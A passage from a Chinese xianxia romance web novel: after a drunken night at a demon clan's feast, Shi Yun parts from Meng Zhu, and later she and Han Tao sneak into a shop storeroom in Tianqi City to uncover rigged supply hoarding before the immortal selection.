施允继续朝前走,丢下一句:“走了。” 和方才来的时候不同,眉目舒展,孟竹偏头去看他,他嘴角慢慢扬起,声音洒在风里。 “知道我好看,但还是麻烦你收敛下自己这痴狂的眼神吧。” 孟竹眨眨眼,忽然笑了,“哎呀,被你发现了。” “如你所说,我正在克制自己。” 拐过弯,前面就是一处不大不小院子,用栅栏围着,院子里有一处花圃,种满了不知名的花。 施允瞥她一眼,用手推开院门,“是么?” “那你现在在干嘛?” 他貌似恍然大悟,似笑非笑的:“跟踪我?” 花香扑面而来,微风如醉。 孟竹收回不知不觉跟着他迈入院门的脚,轻咳了一声,“怎么会。” 施允收回笑容,转身往屋里走,修长的影子被月亮拖得很长,不知为何,平添了几分落寞。 看着他,孟竹忽然想到什么,叫了声他的名字。 开门的动作顿了一下,施允回头,用眼神询问她。 又怎么了? 孟竹冲他笑着挥挥手:“明天见。” 暗色的阴影下,看不到他的脸,孟竹有种奇怪的预感,仿佛施允会同这夜色一样,天亮时,就会消散得无影无踪。 半晌,她才看到施允微不可查地点了点头。 果然,是她想多了- 第二天,孟竹是被一阵喧闹声吵醒的。 今日天气阴沉,外面下着雨,寨子里却聚了很多人。 阿喜站在屋檐下,眼皮耷拉着,一幅困倦的模样,孟竹过去推了他一下,把要睡不睡的阿喜推了个趔趄。 “卧槽……”刚要张嘴骂人,看到是孟竹,又清醒了几分。 “知道你力气大,有劲儿没处使,专门欺负我是吧?”他脖子又缩回去,靠着柱子站着。 孟竹抬抬下巴,问:“什么情况?” “哦,那个啊。”阿喜打了个哈欠,道:“昨天我们进来时丽山的结界有所松动,主人在帮着他们加固结界呢。” 他笑了笑,摇着头低声说:“他这人说话不中听,心却软得跟块豆腐似的。” 孟竹换了个位置,从这个角度能清晰地看到人群的前方,施允以手布阵,正低垂着眉眼看着下方的阵心,一头乌发被肆意乱吹的风扬起。 风雨连天,他却片衣未湿。 大概是从没见过这么厉害的阵法,一个围观的小孩有些兴奋地冲上前去,施允的眼神一凛,将人狠狠瞪了回去。 “滚,别在这里碍事。” 他的语气太过严厉,小孩子吓得哭了起来,被年长的族人拉走。 孟竹抬眼,看见一道灵光自上而下笼罩在孩子的上方,一片落叶飘进风场,瞬间被搅得粉碎。 隔着雨幕,她靠着墙静静地看着那个人。 似有所觉般,施允忽然抬眼,四目相对。 孟竹嘴唇无声地开合。 好凶啊你。 他面无表情瞪了她一眼,视线移开了。 “姐姐。” 听到这熟悉的称呼,孟竹笑着转过身,照水手中端了个大锅,正往外哗啦啦冒着热气。 “来喝点暖汤。” 孟竹往里看了一眼,里面有一股药香,不知道加了什么东西。 阿喜也凑过来,“我也要。” 照水用勺子舀了一碗盛给孟竹,待阿喜拿桌子上的碗时,他微微一笑,把碗扣住。 “怎么?你自己没有家吗?怎么赖在别人家里呢?” 他将碗挪开,又道:“怪不得不讨人喜欢。” 阿喜撇撇嘴,冷笑一声:“你当谁愿意赖在这里似的,等主人走了,我马上跟着走,谁稀罕你这破地方。” 他看了孟竹一眼,忽然笑嘻嘻道:“到时候你最喜欢的姐姐也要跟着我们走喽,啧啧,小可怜。” 孟竹无意参与他们的唇枪舌剑,端着碗走到一旁去喝。 屋里两个人又吵了起来,雨声连绵不绝,汤从口中滑入胃里,一阵暖意让她不由自主地眯了眯眼。 穿越后,一颗彷徨的,居无定所的心,仿佛忽然在此刻获得了一点归处。 落定下来。 第24章 你来了,雨就不下了 当天晚上,老族长为了感谢施允的布阵之恩,摆了一场大宴。 孟竹看着那些或老或少,或男或女的人,果然不愧是魅妖一族,个个都拥有着顶级的样貌。 不光是皮相顶级,他们能歌善舞,仿佛天生就拥有着如同天籁一般嗓音和最柔软的身段。 若是在原来那个世界,要是组个团出道,估计能红透半边天。 在这个瑰丽多彩的世界里,唯有她显得格格不入。 忽然一声咒骂将孟竹拉回现实,阿喜两个胳膊肘里和怀里抱着几坛酒,“瞧瞧,我找到了什么好东西。” 照水放下筷子,快步朝着阿喜走去,被他一扭躲开了。 他大笑着,“不让老子喝,偷偷藏这么好的酒,老子今天全给你喝光!” 酒坛子往桌上一放,啵得一声掀开盖子,一阵奇异的酒香迅速蔓延开。 阿喜一边躲着照水的攻击,一边往嘴里咕嘟嘟灌酒。 他一脚踩着座椅,手抬着抹了一把嘴,打了个酒嗝:“爽!” 周围嘻嘻哈哈笑声一片,被这气氛影响,阿喜喝红了脸,往孟竹和施允面前也丢了两坛。 “来啊来啊,不醉不归!” 照水嘲讽的声音悠悠响起:“就你这酒量,没两下就喝趴了。” “呦。”阿喜挑衅道:“不服啊,来比比?” 照水转了转手边的酒坛,道:“行啊。”他盯着阿喜,唇边的笑容扩大:“输了你给我当狗,怎么样?” 孟竹一看就明白了,阿喜喝不过照水,她从小就知道,真正能喝酒的人喝酒基本上是不上脸的,像阿喜这样的,属于放狠话厉害,虎了吧唧,外强中干。 果然阿喜一上头,立马脸红脖子粗地叫唤:“我还怕了你不成?谁输了谁是狗!” 照水转过脸来,冲着孟竹笑:“姐姐作证,有人要当狗了。” 孟竹摆摆手,施允看过来一眼,照水又把头转过去,假装无事发生。 老族长呵呵笑着,对着孟竹道:“姑娘,这酒是我们族里特有的美人醉,别的地儿可喝不到这么好的酒,尝尝吧。” 这个味道确实不同于她平常闻到的酒味,带着一股甜香,她拔开酒塞往嘴里灌了一口,入口顺滑,唇齿留香,带着些淡淡的回甘。 “确实不错。” 施允坐在她身旁,他向来吃得很少,今晚也基本上没怎么动筷子,见孟竹喝了一口,皱眉道:“别多喝,这酒后劲大。” 孟竹将酒坛往他面前一递,“你要不也尝尝?” “我不喜饮酒。” 似乎是被这热闹安心的氛围影响,孟竹忽然放松了很多,她莫名想和这气氛融为一体,往嘴里又送了口酒。 孟竹笑了笑:“施允,你不喜欢的事情好多。” 第一口酒喝下去以后,剩下来的酒就顺理成章的一口接着一口,她双手托着腮,在昏黄的灯影下看旁边的施允。 他没什么表情,黑漆漆的眼里像暗色的海潮,翻涌着什么。 她看不清。 孟竹伸手揉了揉脸,将脸上因为酒染上的热意揉散了些。 施允:“喝醉了?” 孟竹摇摇头,道:“没有。”她想,她的意识还很清醒,大概离喝醉还远着。 外面的雨还在下,淅淅沥沥的雨声打在林叶间,既安静,又吵闹。 老族长不知道什么时候带着族人离开了,只留下了施允、孟竹、照水和阿喜四个人。 忽然哐当一声响,阿喜摇摇晃晃地站起身,两眼发直。 照水拎着酒坛悠哉坐着,脸上别说红了,还是白生生的一幅妖精模样,盯着阿喜的道:“你输了。” “来叫一声听听。” 孟竹撑着下巴看他:“照水,别欺负阿喜了。” 照水:“姐姐……是他欺负我。” 他长长的睫毛颤了颤,有些委屈道:“你不知道,他天天骂我,可难听了。” 沉默许久的施允忽然开口,看向照水:“你今年多大了?” 照水窝在座椅里笑,“一百七十岁。” 妖族的寿命普遍很长,这个年龄在妖类中算是非常年轻的少年。 施允抬了抬下巴,问孟竹:“你呢?” 孟竹:“二十一。” “嗯?”施允嘴角一扯,身体向后,放松靠在椅背上,似笑非笑看着照水:“所以你在这里装什么嫩葱呢?” 一百七十岁,孟竹的岁数连他的零头都不到,叫的是哪门子的姐姐? 照水有些无辜地眨了眨眼,说:“可是我第一次见姐姐,叫的就是姐姐啊。” 孟竹托着下巴,思维变得有些缓慢,想起第一次见照水的模样,他还穿着一副小男孩的皮。 她慢吞吞道:“那不一样吧,我第一次见你,你才这么大点。” 孟竹在空中比划了一个高度,又道:“现在你都变得比我还高,比我还大了。” 她显然是有些醉了,两颊泛红,说话的语速也变慢了许多。 “你大我这么多呢。”孟竹摇头,肯定地说:“叫姐姐,不合适。” 伸手将歪歪斜斜坐着的孟竹扶好,那双狭长的眼睛微弯,“听到了吗,不合适。” 孟竹顺着施允的动作将晕乎乎的视线转过来,问:“那你呢,你多大啊?” 她慢慢歪了脑袋,神情认真地打量着身旁的人。 “……要你管。”施允偏开视线,手指按在孟竹的头顶上,将她的脸转了回去。 照水不吭声了,伸腿踢了两眼发直的阿喜一脚。 阿喜迷迷瞪瞪的,在一片安静声中,忽然—— “汪!” 孟竹没忍住,噗地一声笑了出来。 阿喜坐了下来,咚地一声把脸埋在桌子上,不动了。 偏过头,照水饶有兴致地观赏着阿喜的醉态。 孟竹怀疑,如果此刻有手机的话,他肯定会把阿喜的丑态拍下来,第二天再发给当事人看,让他反复社死。 她摇了摇空空的酒坛,不知不觉竟然已经喝完了,但这酒似乎越喝越渴,喉咙里干得厉害,她又开了一坛,仰头往嘴里送。 刚喝了一口,手腕被人拉住,她看见施允皱眉:“你也想当醉鬼?” 孟竹舔了舔唇:“口渴。” “真麻烦。”施允将酒坛从她手中抽走,“等着。” 身边渐渐安静下来,只听得到雨水不断落下的声音。 照水扛着不省人事的阿喜走了,施允也不知道去了哪里,空无一人的屋子里,静得让人心里发慌。 孟竹手肘撑着桌子,面前的视线变得越来越模糊,感觉一切都变得昏昏沉沉的。 脸上躁热难耐,孟竹想着去洗个脸清醒一下,她慢吞吞挪出了屋子,靠在汲水的竹筒边,外面下着雨,一瞬间的冷意灌入身体,让她似乎清醒了些。 她蹲下身,双手捧着去接竹筒里的水,嘀嘀咕咕道:“怎么这么凉的……” 冷雨中,意识逐渐又模糊成一团,想要起身,却感觉到天旋地转,根本动弹不得。 天和地仿佛融化成一体,日月倒悬,不停地旋转,倒退。 回忆被时光的纽带绞成碎片,锋利的碎刃割破尘封的薄膜,一瞬间将她拉回到了从前,那个下着雨的阳台。 冰冷的,潮湿的,被大风吹散的那个日子。 她在回忆里不断下坠。 下坠。 沉入被大雨浇湿的黑泥中。 …… 她听到了一个人的声音。 “天冷雨凉,蹲在地上做什么?” 周围的雨不知何时停了,孟竹睁开眼,雨水流入眼睛里,又涩又疼。 晦暗的,无尽的黑色中,一抹红吸引了她的视线。 孟竹仰着头,不知是因为雨,还是因为酒,视线模糊极了。 来人乌发红衣,自上而下地看着她,隔着连天的大雨,看起来高不可攀。 她歪着脑袋看他,慢吞吞道:“……你是神仙吗?” 神仙不说话,依旧盯着她。 “你来了,雨就不下了。” “……醉鬼。” 神仙似乎叹了口气,眉眼在雨中变得雾蒙蒙的,柔软极了,他向她伸出一只手,“起来。” 漫天的大雨中,一切都被冲刷得褪去了颜色,只剩下眼前笔直的、模糊的身影。 那只手修长白皙,她伸手碰了一下,眼中自己的手变成了小小的样子。 “小手抓大手,永远不分开。” “妈妈当然最喜欢小竹了,怎么舍得丢下你走掉呢?” “果然从小就是个怪物,真晦气!” “她的死当然怪你,要不是因为你,她怎么会受不了去跳楼啊!” “全部都怪你。” “全部都是你的错。” 孟竹伸出的手颤了一下,像被电击似的猛地收了回来。 开在烂泥里的罪恶之花,生来就是要被人厌弃的。 看着又像鸵鸟一样将自己埋起来的孟竹,施允皱着眉问她:“你要蹲在这里多久?” 孟竹蹲在一地的泥水里,盯着地面发呆。 她双手交叠放在膝上,忽然说了句:“我才没错。” 施允当然听不懂她在说什么,只能沉默着听孟竹胡言乱语。 朦胧夜色中,落雨穿林打叶,她眼神中含着莫名的挣扎,又晦暗了几分,孟竹抬起头,忽然问了施允一个莫名其妙的问题:“你会陪我一起下地狱吗?” 奇怪的话,奇怪的人,更奇怪的是,陪着孟竹讲胡话的自己。 “好啊。”施允漫不经心地应了一声。 他弯下腰,蹲在孟竹身前,手张开,宽大的手掌贴着她湿漉漉的侧脸。 拇指按在冰凉的皮肤上,一寸寸擦去孟竹眉眼间的雨水。 “回去吧。” 孟竹昏昏沉沉,感觉到自己被拉了起来。 她似乎脱离了躯壳,看到了一副画面。 有人背着她,踩着一地的泥水,穿行在苍茫的、无尽的夜雨中。 孟竹的身体很冷,趴在施允的身后微微发抖。 两只湿漉漉的胳膊圈住施允的脖子,头发、裙子,浑身都湿透了。 施允不禁想着,这回真的是一条落水狗了。 湿衣贴着,连他的外袍都洇出水痕,脚下也溅到了星星点点的泥水。 他用灵力烘干了两人的衣服,温*度升高,带着暖融融的热意,背上的人终于渐渐安静下来。 用脚踢开院门,把人扔在榻上,施允往凳子上一坐,有些疲惫地揉了揉眉心。 时间一分一秒过去,雨终于停了,房间里变得安静极了,只有孟竹浅浅的呼吸声。 施允面无表情地盯着床上看了许久,确认人已经睡熟,他站起身准备离开。 “唔……” 一道痛苦的呻吟绊住了施允的脚步。 榻上的人翻了个面,面色苍白,忽然坐起身来,急促地呼吸了两下,看着施允道:“我好想吐。” 抓住门栓的手放了下来,施允深吸一口气,向着天花板看了一眼。 “咽下去。”施允冷冷道。 孟竹清醒了点,有气无力地说:“……给我拿个盆。” 铜盆被丢到榻前,发出哐当一声巨响,昭显着扔盆的人翻腾的怒气。 她头晕得很,手撑着床沿想要去够底下的铜盆,不知是不是没看清,手撑了个空,身体一歪,直接头朝地往床下倒。 要栽倒了—— 孟竹还没反应过来,便看见施允不知何时走了过来,他冷着脸将她胳膊一拽,用力往上提。 这一突如其来的冲击让本来就不舒服的胃部更加难受,孟竹的喉头迅速耸动,混乱中抓住了离她最近的东西。 “我说你——” 话语被身上传来湿热的黏稠感打断。 带着酒意的、发酵的酸臭味迅速蔓延开。 像是卡壳的时钟一样,施允僵硬地低下头看了看自己的衣服,又将视线慢慢移至正抱着他的腰狂吐的罪魁祸首。 施允的喉结滚动,干呕了一下。 没忍住。 跟着一起吐了出来。 第25章 不回来了 他绝对不可能喜欢孟竹。 在两个人互相对着吐了一夜之后,他忍受了一夜的肮脏和酸臭,施允再也不怀疑自己的心意了。 说起来,像孟竹这样长相平凡、行为粗鲁的女人,哪一点能让他动心了? 那些奇奇怪怪的反应,肯定是因为摄魂咒留下的后遗症。 施允用水将自己浑身上下洗了十几遍,捏着衣裳的一角,似乎还能透过衣服隐隐闻到皮肤上的味道,让他的喉咙又不由自主地紧缩了一下。 第二天,下了一夜的雨,终于雨过天晴,太阳犹如新生,万物明朗。 施允走出院子,他和孟竹所住的地方只隔了一片花圃。 微风习习,雨后的花香芬芳怡人,随之而来的,是对面一声推门的轻响。 扭过头,四目相对。 两个人不约而同地对着对方打了个干呕。 孟竹哆哆嗦嗦地指着施允:“你……你……呕——” 幸好昨天晚上吐干净了,此刻新换的衣服还没有遭殃。 亏了昨晚的状况,清洁术是她现在用得最熟练的术法。 施允面色苍白,咬牙冷笑:“你什么你。” 孟竹拼命顺着自己的胸口:“咱俩扯平了,你也没少往我身上吐。” “……” “姐姐早啊。” 照水的声音从一旁的小道上传来,身后跟着蔫头耷脑的阿喜。 “照水啊,不是说了不喊姐姐了吗?”孟竹看着阿喜,问:“你又怎么了?” “昨晚饮了酒,今天是不是不太舒服?”照水没接她的话茬,语带关心问道。 阿喜苦着一张脸,也不说话。 没记错的话,昨晚照水也喝了不少,此刻看起来却和她一脸鬼样不同,“……你怎么一点事没有?” “啊……”照水笑了笑,“我就是专程为此事而来的。” “忘了跟姐姐说了,这酒后劲太大,喝完第二天必定难受。”他递给孟竹一个白玉瓷瓶,“这是我族特产的灵露,喝了就没事了。” 孟竹接过来喝了一口,清凉的液体顺着喉咙滑入胃里,瞬间就觉得神清气爽,那种翻江倒海的恶心和头晕都没有了。 “确实很有效,谢谢你照水。” 阿喜欲言又止,盯着孟竹手里的瓶子,眼巴巴的。 孟竹抬抬下巴,“阿喜是不是还没喝啊?” 站在后面的阿喜狂点头,冲着孟竹比了个大拇指,孟竹看懂了他的意思。 好人啊。 谁知照水微微一笑,看也没看身后的人一眼,“我管他死活呢。” 阿喜大怒:“你小子行啊,到了你的地盘了,是装也不装一下了是吧?” “是啊,怎样?” 照水掏出算盘,噼里啪啦开始算账:“美人醉在市面上售价为二百两一坛,你喝了四坛,也就是八百两银子,再加上这两日的食宿费用,算你一千两,根据现在市面上的雇佣价格,每个月算你二两银子,我发发善心帮你减去零头,算下来,你还得替我打工四十年。” “什么?!”阿喜不可置信地瞪着他:“有你这么算的吗?” 孟竹看得一愣一愣的,怎么看怎么觉得照水像个黑心奸商。 “他们俩呢?你怎么不收他们钱?”阿喜忿忿不平道。 “施公子帮忙加固了封印,是我族的客人。”照水停顿了一下:“至于姐姐,你怎么好意思和她相提并论?” “好啊,你这玲珑心当真吃得好啊!” 阿喜扑通一声,像条死鱼一样倒在地上,“要钱没有,要命一条,你杀了我吧。” 没人理他。 过了会儿,他又自顾自爬了起来,朝着施允的方向哭嚎:“主人,给我一千两,我给你当牛做马,受不了这窝囊气了。” 施允不知在想什么,只轻飘飘地看了一眼,并不理会眼前的这一场闹剧。 阿喜自知没趣,愤愤道:“什么金子酿的酒要二百两一坛,我看你就是纯心要害我!” “没见识。”照水抬眸冷笑:“你喝过多少酒?又见过多少人?跟我讨价还价,你算哪根葱?” “说错了,不是葱。”他勾勾手指:“来,叫一声。” “狗。” “……” 伴随着阿喜的一声怒骂,战火一触即发。 两个炮仗一样的人又被点着了,孟竹迅速远离了战场,这两个人每次吵都离施允远远的,大概是怕了施允那阴晴不定的臭脾气。 她视线转了一圈,还是觉得施允身边最安静。 怀中的玉简发出一阵光,施允拿出来,片刻后,抬眼望向了身旁。 “孟竹。” 靠在一旁打瞌睡的人睁眼,“怎么了?” “我要离开了。” 他的声音很轻,她却听得分明。 时间仿佛被按下了暂停键。 风声、喧闹的人声淡去,世界一瞬间变得很安静。 孟竹低垂着眼睛,沉默。 良久,她慢慢扭过头看了施允一眼:“你要回去了吗?” “嗯。” 他把玩着手上的玉简,微低着头,不知在想什么。 “那……你还回来吗?” 这一路结伴而行,争争吵吵,嬉笑怒骂,时间过得真是很快,让她一时间都忘了,每个人终究都有各自的路要走。 只不过她没想到,这一天会来得这么快,这么突然。 “不回来了。”他说。 “我要做的事情已经结束了。” 如果不是因为中了摄魂咒,他早就应该离开了。 施允想着,大概以后,也不会再和孟竹有所牵扯了。 全部都是一场意外罢了。 孟竹迟疑了一下,“当初你说……” 施允打断了她的话:“当初我说仙洲遴选时会助你,以你现在的资质,入门遴选绰绰有余,我并没有食言。” 他淡淡地看向孟竹,“你还有什么话想说吗?” 她当然知道施允对她的帮助,已经足够多,让她在这个世界中有安身立命的资本。 “我想说的不是这个。” “那是什么?”施允抬眉,忽然想到什么,捏着手中的玉简转了转。 孟竹心说算了,想当初施允说出来历练,她还以为会挺久,没想到会这么突然,但想想,又觉得自己这话说出来矫情,像是在刻意挽留似的,施允更不是那么多愁善感的人。 他们之间的关系,本来就是这么岌岌可危。 不过……这样也好。 指甲掐入掌心,固执地想要抓住什么,又缓缓松开。 孟竹慢慢笑了下,道:“没什么,一路顺风。” 她的脸上带着明显的失落,一双大而黑的眼睛也显得有些无神。 施允望着孟竹的表情,嘴角不由自主地往上翘,他手指抵住鼻尖轻咳了一声,声音有些含糊:“……你可以用这个玉简和我联络。” 说完,他手向前伸了伸,将手里的玉简往她面前一递。 孟竹接过来,仔细观摩了一下,问:“这怎么用?” “你怎么什么都不知道?”施允道,“在里面灌入灵力,便能将声音传递给指定的人。” 啊,原来是个简易电话。 孟竹新奇地将玉简拿在手中打量,问他:“是只能和你说话,还是随便什么人都能联络啊?” 施允沉默一瞬,问:“你还想和谁联络?” “没见过嘛,我就随便问问。” 他的眉眼一松,轻哼一声:“想要玉简传音,需要对方也灌入自己的灵力,这东西只有仙洲的人才会用,除了我之外,你还认识谁?” “不认识。”孟竹说。 施允掏出另一块玉简,用眼神示意孟竹,她食指和中指并拢,在玉简上轻轻一划,玉简发出一阵灵光,转瞬即逝。 这便是玉简记住了她的气息。 手上的玉简忽然被另一支碰了下,发出清脆的碰撞声,孟竹抬眼,“怎么了?” “也不要总是用这个找我,我可没那么多时间应付你。”施允顿了一下,将玉简收入怀里,“除非……” 他的话没说完,但孟竹听出了他的意思,除非有什么特别要紧的事,不然不要去烦他。 孟竹依言答道:“知道了,不会打扰你的。” 可施允却并没放心的样子,脸色看起来更难看了。 一时无话,只有远处阿喜和照水的拌嘴声,让气氛显得不那么沉闷。 两人并肩站在花圃的栅栏旁,风把孟竹耳边的碎发扬起,施允用余光看着她平淡无波的面孔。 突如其来的烦躁。 一丝一缕,缠绕着,牵扯着。 心像是结了茧,有一只蝴蝶被困在其中,急欲破茧而出。 施允微微抿唇,“如果你实在想……” “你不同阿喜他们道别吗?” 两人同时开口,孟竹愣了一下,问他:“你方才说什么?” “没什么。” 他的视线移开,盯着她食指上的乾坤戒,向她伸出一只手,“手给我。” 孟竹将手放在他的掌心,施允在她的乾坤戒上轻轻点了一下,接触的一瞬间,她看见施允的无名指上,竟然有一个和她手上一模一样的龙血玉戒指。 大概是看出了孟竹的惊讶,他平静地解释:“你这乾坤戒是我随手用剩下的碎料做的,看起来一样,实际上天差地别,你懂么?” 孟竹点点头,“你放心,我懂。” 她当然不会再自作多情地以为施允喜欢自己的。 施允沉默了一瞬,捏着孟竹的手微微用力,孟竹皱眉,将手往外抽。 “孟竹。” 他松开手,静静站在原地看她,“一个人的时候,不要亏待自己。” “……嗯?” “走了。” “施允。”孟竹叫住他。 他的脚步一停,下意识转身。 “别回头。” “再见。”孟竹站在原地,明知道他看不见,还是笑了笑。 她望着那个已经走远的背影,看了很久。 好久以后,她才明白了施允那句话的意思。 望着无限空间中堆积如山的财富,孟竹瞠目结舌。 她被那些银子和灵石晃花了眼,两眼放光地喃喃着:“……施允真是个好人啊。” 第26章 那就让他们杀了我 天启城,唯一凡界和仙洲的交界之城,仙洲每十年一次的遴选便是在此处进行。 天启城入口每十年对外开放一次,因此每次开放时会有很多人在此交易法器和灵药,价格十分昂贵,有门路的人会早早备好钱财交易,提高自身资质,能够在遴选中能够脱颖而出。 所以,除了那些天生就万里挑一的佼佼者,遴选出的大多是凡人界贵族人家的子弟。 自施允离开后,不知不觉已经过了数月,阿喜知道施允离开了之后,消沉了一段时间,直到孟竹从丽山离开那日,照水来送她,却不见阿喜的影子,她才从照水的口中知道,阿喜也离开了,同施允一样,都没有道别。 同施允分开后,那枚玉简便被她收在了乾坤戒的角落里,很久都没再想起来。 她和施允并不是那种互相能够保持问候的关系。 孟竹一路辗转来到天启城,来了两日她也大概摸清了城内的情况,来参选的多的是凡界的王公贵族或是富商巨贾,他们大多住在城内最大的客栈,问仙居。 天启城内不允许携带侍从,只有符合资格通过城外验灵石筛选的参选者才可以进入,这些人虽然进了天启城,还是不改往日盛气凌人的作风,孟竹避免麻烦,寻了个离问仙居不远的客栈住下。 不是她不想离是非之地远一些,只是问仙居的位置实在是好,位于天启城的中心,四通八达,她实在没必要舍近求远。 正式遴选是在三日之后,问仙居的人已经分成了几个不同的小团体,出身普通的参选者也同样,或是为了探听更多的信息,或是为了不受欺负。 有人抱团,自然也有人落单,孟竹就是其中一个。 考核台今日发布了告示,要求所有参选者自行准备好试炼所需要的法器和物资,三日后试炼之境开启。 告示中有一条醒目的提醒。 【一旦试炼开启,无法中途退出,生死自负,放弃遴选者三日内可自行离开。】 这条显然像个免责条款,告诉参选者进了这个试炼生与死都和仙洲没关系,怕死的赶紧离开。 果然,在这条告示之后,有一小部分人没多犹豫便收拾行囊出了城,为了一场难以预测结果的事情丢了性命,不划算。 仙可以不修,命没了就是真没了。 当然,大部分人都选择了留下来,毕竟俗话说得好,来都来了。 看完告示后,孟竹在街上转了转,她最近迷上了买各种各样的灵药,以备不时之需,人生地不熟,多准备着总没错。但是今日她又去了那家经常去的灵药铺子,掌柜的看了她一眼,摆摆手将她送出了门,告诉她所有的灵药都已经卖完了,让她明日再来。 起初孟竹并不觉得意外,毕竟遴选在即,城里多了那么多参选者,灵药自然有些供不应求。 她出了那间铺子,转身又进了另一间卖法器的店铺,却依然得到了相同的答复。 第三间、第四间…… 依旧如此。 就算再怎么紧缺,也不至于到了这种程度,孟竹靠在街角的墙上,盯着那几家联排的商铺,在她离开以后,又进去了几个人,同样很快就出来了。 不一会儿,转角处又走来几个孟竹眼熟的人,是和她住在同一间客栈的,其中有个叫韩韬的,很年轻,是个会来事的自来熟,还热情地邀请过孟竹加入他们的小团体,被孟竹拒绝了。 他们显然也是来购买物资的,几个人也同样吃了闭门羹,韩韬站在门口,脸色显然很难看,孟竹离得不远,恰好能听见他们的对话。 “看来明天我们要早点来了。” “问了几家铺子,都说是卖空了,怕不是那些住在问仙居的人出了高价提前把东西囤起来了吧?” “这可是违反规定的,他们怎么敢?” 韩韬一直没说话,拉着几个同行的人准备去别处碰碰运气,直到迎面碰上一行问仙居的人,他们说说笑笑,一路走到了店铺门口,为首的一名高个男子看了韩韬一眼,笑道:“呦,也来买法器啊?” 他的语气明显带着不善的挑衅意味:“买到了吗?” 韩韬怒视着那人,身体不受控制地向前,却被身后的同伴拉住了,“……算了吧。” 高个男子从头到脚打量了韩韬等人一圈,同身后几人交换了个眼神,不约而同发出一声嗤笑。 “什么阿猫阿狗都想来修仙了,真是好笑。” 说完,他们几人迈入了方才的店铺,这一次,他们很久都没有再出来。 几个人蔫头耷脑站在门口,像霜打的茄子,等他们走了以后,孟竹绕着附近转了几圈,又在附近买了些东西,直到天色渐黑,才看到那几个问仙居的人大摇大摆地出来,他们出来以后,店铺门很快落了锁。 坐在馄饨摊前,又吃了一碗馄饨,天色已经完全黑了,街上的行人也渐渐少了起来。 月黑风高,孟竹搓了搓手,转过身钻进了另外一条巷子,她走得很快,不一会儿便绕了个圈站在了一处矮墙外。 她能明显感觉到外围有一层像是薄膜一样的透视层,应该是有人设下的封印,一旦有人在此动用术法或灵力,很快便会引起注意。 很明显,防的就是她这种不请自来的人。 墙面很光滑,孟竹在墙角下抹了把灰正准备往上爬,就听到旁边传来一道声音:“……诶?” 她转过脸,望着站在阴影里的人,他靠着墙,正饶有兴致地打量着孟竹:“好巧。” “韩韬。”孟竹点头应声。 两个人对视一眼,都清楚地瞧见了对方眼里的意思。 孟竹三两下爬上了墙,坐着矮墙上往内院看,里面黑漆漆的,很安静,直到身后砰地响起人体落地的声音。 她有些无语地看着墙外摔得屁股着地的人。 韩韬吸了吸气,望着院墙上的孟竹有些纳闷:“这墙这么滑,你是怎么爬上去的?” 孟竹沉思了一下,说:“熟能生巧。” “……厉害。” 慢吞吞爬到一半,上面伸出来一只手将韩韬往上提。 身体骤然一轻,四肢修长的韩韬被人像拎小鸡仔一样抓着领子又丢了下去。 被一个姑娘这么对待,这显然让韩韬觉得有些羞耻,他轻咳了一声,从地上爬起来,道:“你力气还挺大的呢。” 孟竹没理他,食指竖在唇边,是一个噤声的手势。 他们贴着墙边往里走,这里是店铺的后院,不算大,走了没一会便找到了库房所在的地方。 库房的门上有一把锁,韩韬盯着那把锁,从袖口掏了个银质的弯丝出来,道:“别看我爬墙不行,开锁我可是一把好手。” 孟竹让了让身子,示意他快点。 时间一分一秒过去,韩韬的额头上出了一层薄薄的汗,被夜风吹干了几遍。 站在旁边望风的孟竹看了眼正在疯狂拧锁眼的人,面上的表情都显得狰狞了几分。 感受到孟竹的靠近,他没抬头,只觉得有些面红耳赤,解释道:“这个锁显然不是平常的锁,极为繁复,肯定用了特别的设计,若是平常……” 孟竹伸手,两只手握着往两边,用力一掰。 咔嗒一声,门锁应声而断。 韩韬:“……” 他看见孟竹平静地看了自己一眼,明明她没什么表情,他却觉得自己好像被嫌弃了。 这种简单粗暴的解决方式让韩韬觉得不可思议,他拿起那断成两截的门锁也试着像孟竹一样用力往外掰。 锁印深深嵌在手心,纹丝不动。 “……” 顺利进入库房以后,孟竹绕着屋里转了一圈,柜子上面数不清的法器和灵药,按照分类摆放在架子上,琳琅满目。 果然,不是卖完了,是只卖给指定的人。 或者说,这些店铺早就被人掌控在手中了。 韩韬沉下脸,语气明显变冷:“用这样的办法,真是卑劣。” 孟竹扫了一眼,发现这里大都是品阶低级的东西,想起今天那几个问仙居的人走出来时手上拿的法器,明显品阶较高,都是比较罕有的。 整间库房里,竟然找不到一件高阶的法器和灵药。 有个问题孟竹一直想不明白,她放下手中的一瓶丹药,想起了白天店铺掌柜拒绝她的话。 明明可以直接停售或者抬高价格,他们却偏偏绕了这么个圈子,告诉这些人明日再来。 显然,所有的高阶法器和灵药都已经在这一天流入了那群特定的人手中,选剩下的劣等品才是他们明日开始能买到的东西。 至此,孟竹算是明白了为什么普通人和修仙之路基本绝缘了,这些人将资源全部都掌控在自己手中,就算是这么大型的遴选也能通过互相联合抱团将资源垄-断,筛选出的人就会在他们自己可以掌控的范围内。 韩韬自然也发现了这个事实,他咒骂一声:“监察使也被他们买通了,竟然做得这么明目张胆。” “监察使?”孟竹还没听过。 “是啊,不然你以为他们为什么这么麻烦,天启城作为试炼之城,所有的店铺都是仙洲派专人管理的,为了参选的公平,是禁止抬高物价和限售的,我听说曾经有一届就是出现了这种情况,被玉都的人发现了,特意颁布的这个条令,还派来了监察使坐镇。” “白天的时候我就发现不对劲了,肯定也有其他人发现不对劲,但是没人敢说,监察使更是睁一只眼闭一只眼。” 孟竹:“为什么?” 韩韬冷笑一声:“还能为什么?咱们可撞了大运了,跟仙洲凌氏的少爷一起参加选拔,人家是什么身份,能是我们这种人惹得起的吗?” 孟竹的脑海中浮现了一个人,大概就是问仙居那个被众人簇拥着的那个,“他既然身份这么尊贵,何不直接让人把他接回仙洲,要和我们参加遴选做什么?” 这样有权有势的人,应该就跟她当初在杨柳村碰见的那个小公主一样,她能把霍予直接带进仙洲,想必这个凌少爷也是一样。 “你以为他不想么?”韩韬道:“我看他做梦都想回仙洲过逍遥日子。” “可是他不能。” “别卖关子。”孟竹看了眼屋外,这里毕竟不是聊天的好地方。 韩韬靠在架子上,低声道:“他是私生子。” “听说凌氏的夫人根本不同意将他接回去,他若只是想安安分分做个小修士也就罢了,偏偏他想着回凌氏当少主,你说他挤在这里做什么,无非就是想证明自己的实力呗。” “那些人都靠着依附他生存,将什么好东西都握在手里,谁听话就给谁机会,最后遴选的结果出来,他可不就是最优秀的那个人吗?” 说完,他直起身子,讥讽道:“看来我们这趟来得没意义了,这些破烂能顶什么用?” “谁说我们是来偷东西的了?” 